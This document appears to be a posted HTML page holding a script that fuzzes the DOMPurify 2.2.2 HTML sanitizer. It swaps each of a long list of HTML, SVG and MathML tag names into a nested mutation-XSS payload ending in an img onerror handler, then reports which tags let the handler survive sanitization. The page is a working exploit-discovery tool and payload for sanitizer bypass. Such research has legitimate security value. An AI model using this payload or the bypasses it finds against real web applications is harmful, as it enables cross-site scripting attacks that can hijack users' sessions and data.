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January 14, 2022 15:12
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| <!DOCTYPE html> | |
| <!--[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7"> <![endif]--> | |
| <!--[if IE 7]> <html class="no-js lt-ie9 lt-ie8"> <![endif]--> | |
| <!--[if IE 8]> <html class="no-js lt-ie9"> <![endif]--> | |
| <!--[if gt IE 8]> <html class="no-js"> <!--<![endif]--> | |
| <html> | |
| <head> | |
| <meta charset="utf-8"> | |
| <meta http-equiv="X-UA-Compatible" content="IE=edge"> | |
| <title></title> | |
| <meta name="description" content=""> | |
| <meta name="viewport" content="width=device-width, initial-scale=1"> | |
| <link rel="stylesheet" href=""> | |
| </head> | |
| <body> | |
| <!--[if lt IE 7]> | |
| <p class="browsehappy">You are using an <strong>outdated</strong> browser. Please <a href="#">upgrade your browser</a> to improve your experience.</p> | |
| <![endif]--> | |
| <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.2.2/purify.min.js"></script> | |
| <script> | |
| window.onload = () => { | |
| const allElements = [ | |
| 'a', | |
| 'abbr', | |
| 'acronym', | |
| 'address', | |
| 'area', | |
| 'article', | |
| 'aside', | |
| 'audio', | |
| 'b', | |
| 'bdi', | |
| 'bdo', | |
| 'big', | |
| 'blink', | |
| 'blockquote', | |
| 'body', | |
| 'br', | |
| 'button', | |
| 'canvas', | |
| 'caption', | |
| 'center', | |
| 'cite', | |
| 'code', | |
| 'col', | |
| 'colgroup', | |
| 'content', | |
| 'data', | |
| 'datalist', | |
| 'dd', | |
| 'decorator', | |
| 'del', | |
| 'details', | |
| 'dfn', | |
| 'dialog', | |
| 'dir', | |
| 'div', | |
| 'dl', | |
| 'dt', | |
| 'element', | |
| 'em', | |
| 'fieldset', | |
| 'figcaption', | |
| 'figure', | |
| 'font', | |
| 'footer', | |
| 'form', | |
| 'h1', | |
| 'h2', | |
| 'h3', | |
| 'h4', | |
| 'h5', | |
| 'h6', | |
| 'head', | |
| 'header', | |
| 'hgroup', | |
| 'hr', | |
| 'html', | |
| 'i', | |
| 'img', | |
| 'input', | |
| 'ins', | |
| 'kbd', | |
| 'label', | |
| 'legend', | |
| 'li', | |
| 'main', | |
| 'map', | |
| 'mark', | |
| 'marquee', | |
| 'menu', | |
| 'menuitem', | |
| 'meter', | |
| 'nav', | |
| 'nobr', | |
| 'ol', | |
| 'optgroup', | |
| 'option', | |
| 'output', | |
| 'p', | |
| 'picture', | |
| 'pre', | |
| 'progress', | |
| 'q', | |
| 'rp', | |
| 'rt', | |
| 'ruby', | |
| 's', | |
| 'samp', | |
| 'section', | |
| 'select', | |
| 'shadow', | |
| 'small', | |
| 'source', | |
| 'spacer', | |
| 'span', | |
| 'strike', | |
| 'strong', | |
| 'style', | |
| 'sub', | |
| 'summary', | |
| 'sup', | |
| 'table', | |
| 'tbody', | |
| 'td', | |
| 'template', | |
| 'textarea', | |
| 'tfoot', | |
| 'th', | |
| 'thead', | |
| 'time', | |
| 'tr', | |
| 'track', | |
| 'tt', | |
| 'u', | |
| 'ul', | |
| 'var', | |
| 'video', | |
| 'wbr', | |
| 'svg', | |
| 'a', | |
| 'altglyph', | |
| 'altglyphdef', | |
| 'altglyphitem', | |
| 'animatecolor', | |
| 'animatemotion', | |
| 'animatetransform', | |
| 'circle', | |
| 'clippath', | |
| 'defs', | |
| 'desc', | |
| 'ellipse', | |
| 'filter', | |
| 'font', | |
| 'g', | |
| 'glyph', | |
| 'glyphref', | |
| 'hkern', | |
| 'image', | |
| 'line', | |
| 'lineargradient', | |
| 'marker', | |
| 'mask', | |
| 'metadata', | |
| 'mpath', | |
| 'path', | |
| 'pattern', | |
| 'polygon', | |
| 'polyline', | |
| 'radialgradient', | |
| 'rect', | |
| 'stop', | |
| 'style', | |
| 'switch', | |
| 'symbol', | |
| 'text', | |
| 'textpath', | |
| 'title', | |
| 'tref', | |
| 'tspan', | |
| 'view', | |
| 'vkern', | |
| 'feBlend', | |
| 'feColorMatrix', | |
| 'feComponentTransfer', | |
| 'feComposite', | |
| 'feConvolveMatrix', | |
| 'feDiffuseLighting', | |
| 'feDisplacementMap', | |
| 'feDistantLight', | |
| 'feFlood', | |
| 'feFuncA', | |
| 'feFuncB', | |
| 'feFuncG', | |
| 'feFuncR', | |
| 'feGaussianBlur', | |
| 'feImage', | |
| 'feMerge', | |
| 'feMergeNode', | |
| 'feMorphology', | |
| 'feOffset', | |
| 'fePointLight', | |
| 'feSpecularLighting', | |
| 'feSpotLight', | |
| 'feTile', | |
| 'feTurbulence', | |
| 'animate', | |
| 'color-profile', | |
| 'cursor', | |
| 'discard', | |
| 'fedropshadow', | |
| 'font-face', | |
| 'font-face-format', | |
| 'font-face-name', | |
| 'font-face-src', | |
| 'font-face-uri', | |
| 'foreignobject', | |
| 'hatch', | |
| 'hatchpath', | |
| 'mesh', | |
| 'meshgradient', | |
| 'meshpatch', | |
| 'meshrow', | |
| 'missing-glyph', | |
| 'script', | |
| 'set', | |
| 'solidcolor', | |
| 'unknown', | |
| 'use', | |
| 'math', | |
| 'menclose', | |
| 'merror', | |
| 'mfenced', | |
| 'mfrac', | |
| 'mglyph', | |
| 'mi', | |
| 'mlabeledtr', | |
| 'mmultiscripts', | |
| 'mn', | |
| 'mo', | |
| 'mover', | |
| 'mpadded', | |
| 'mphantom', | |
| 'mroot', | |
| 'mrow', | |
| 'ms', | |
| 'mspace', | |
| 'msqrt', | |
| 'mstyle', | |
| 'msub', | |
| 'msup', | |
| 'msubsup', | |
| 'mtable', | |
| 'mtd', | |
| 'mtext', | |
| 'mtr', | |
| 'munder', | |
| 'munderover', | |
| 'maction', | |
| 'maligngroup', | |
| 'malignmark', | |
| 'mlongdiv', | |
| 'mscarries', | |
| 'mscarry', | |
| 'msgroup', | |
| 'mstack', | |
| 'msline', | |
| 'msrow', | |
| 'semantics', | |
| 'annotation', | |
| 'annotation-xml', | |
| 'mprescripts', | |
| 'none', | |
| ]; | |
| const payload = `<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><a title="</style><img src='#' onerror='alert(1)'>">`; | |
| const domParser = new DOMParser(); | |
| allElements.forEach(element => { | |
| let newPayload = payload.replace("<style>", `<${element}>`).replace("</style>", `</${element}>`); | |
| const sanitized = DOMPurify.sanitize(newPayload, { | |
| ADD_ATTR: ["target"], | |
| FORBID_TAGS: ["style"] | |
| }); | |
| const parsedDOM = domParser.parseFromString(sanitized, 'text/html'); | |
| parsedDOM.querySelectorAll(`img`).forEach(img => { | |
| if(img.attributes["onerror"]) { | |
| console.log(`Found bypass: ${element}`); | |
| } | |
| }); | |
| }); | |
| }; | |
| </script> | |
| </body> | |
| </html> |
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